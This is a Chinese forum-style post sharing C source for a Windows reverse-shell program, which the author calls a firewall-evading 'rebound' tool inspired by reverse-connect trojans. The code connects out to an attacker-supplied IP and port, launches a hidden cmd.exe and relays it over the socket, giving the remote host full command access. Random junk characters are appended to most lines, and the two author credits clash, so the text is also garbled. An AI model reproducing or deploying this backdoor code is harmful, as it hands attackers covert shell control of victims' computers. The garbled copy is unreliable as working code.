这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 {6;9b-a]
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/* ============================== ]B"'}%>ez
Rebound port in Windows NT jdZ~z#`(!:
By wind,2006/7 GE;e]Jkjn
===============================*/ Xaz o9J
#include ok^d@zI
#include =uk0@hy9b
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#pragma comment(lib,"wsock32.lib") )~4II.`%^
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void OutputShell(); "I?Am&>'
SOCKET sClient; GcIDG`RX
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; \6n!3FLl
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void main(int argc,char **argv) 6oaazB^L
{ TNCgaTJ{h
WSADATA stWsaData; d<!3`qe
int nRet; 3`d}~v{
SOCKADDR_IN stSaiClient,stSaiServer; ptatzp]c#
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if(argc != 3) 6vuq1
{ [Aj Q#;#Q
printf("Useage:\n\rRebound DestIP DestPort\n"); LZJA4?C
return; Ee)[\Qjn
} Ds#/
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WSAStartup(MAKEWORD(2,2),&stWsaData); )[H{yQ
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 'w>_+jLT
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stSaiClient.sin_family = AF_INET; mpAR7AG6
stSaiClient.sin_port = htons(0); W>r#RXmh
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ?]fF3 SJk
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) qPB8O1fyU
{ H9h@ sSg
printf("Bind Socket Failed!\n"); IEKU-k7}Z
return; #_lt~^6
} C{sLz9
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stSaiServer.sin_family = AF_INET; xq-17HKs
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 7^wc)E^H
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); :tIC~GG]_)
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) *n]7
{ 2LrJ>Mi
printf("Connect Error!"); ~$'\L
return; Fc~'TBf,,`
} 'O5'i\uz
OutputShell();
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} D3|oOOoG
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void OutputShell() 0TfS=scT
{ tz#gClo
char szBuff[1024]; 4h@Z/G!T3
SECURITY_ATTRIBUTES stSecurityAttributes; /9o!*K
OSVERSIONINFO stOsversionInfo; JnHo 9K2.
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; !d<"nx[2`
STARTUPINFO stStartupInfo; {x'GJtpb
char *szShell; V.os
PROCESS_INFORMATION stProcessInformation; -.g|l\
unsigned long lBytesRead; NCxqh <
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); T\Uek-(
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); <0yE
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stSecurityAttributes.lpSecurityDescriptor = 0; *f,DhT/P
stSecurityAttributes.bInheritHandle = TRUE; J]m{b09F
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); fc/ &X
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ? uYu`Ojzr
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 8ElKD{.BU8
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \Mg`(,kwe
stStartupInfo.wShowWindow = SW_HIDE; [tMZ G%h
stStartupInfo.hStdInput = hReadPipe; jTLSdul+
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; R!l:O=[<
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GetVersionEx(&stOsversionInfo); TCT57P#b
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switch(stOsversionInfo.dwPlatformId) YF+n
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{ \~LQ%OM
case 1: dt~YW
szShell = "command.com"; ZeG_en ;
break; ]skkoM
default: ]f]<4HD=i
szShell = "cmd.exe"; 8/0Y vh
break; *3T|M@Y
} h" H2z1$
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); YeF1C/'hy
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send(sClient,szMsg,77,0); 0afei4i~N
while(1) >~K
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{ @ym/27cRE
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); VUI|.76g
if(lBytesRead) tzy'G"P|
{ )xb|3&+W
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); %,hV[[ @.
send(sClient,szBuff,lBytesRead,0);
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} TYI7<-Mp:[
else }K8/-d6
{ wvrrMGU)a
lBytesRead=recv(sClient,szBuff,1024,0); #
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if(lBytesRead<=0) break; JHf
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 1SrJ6W @j[
} 4%1D}9hO6
} rQ=,y>-*
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return; 'ejvH;V3i
}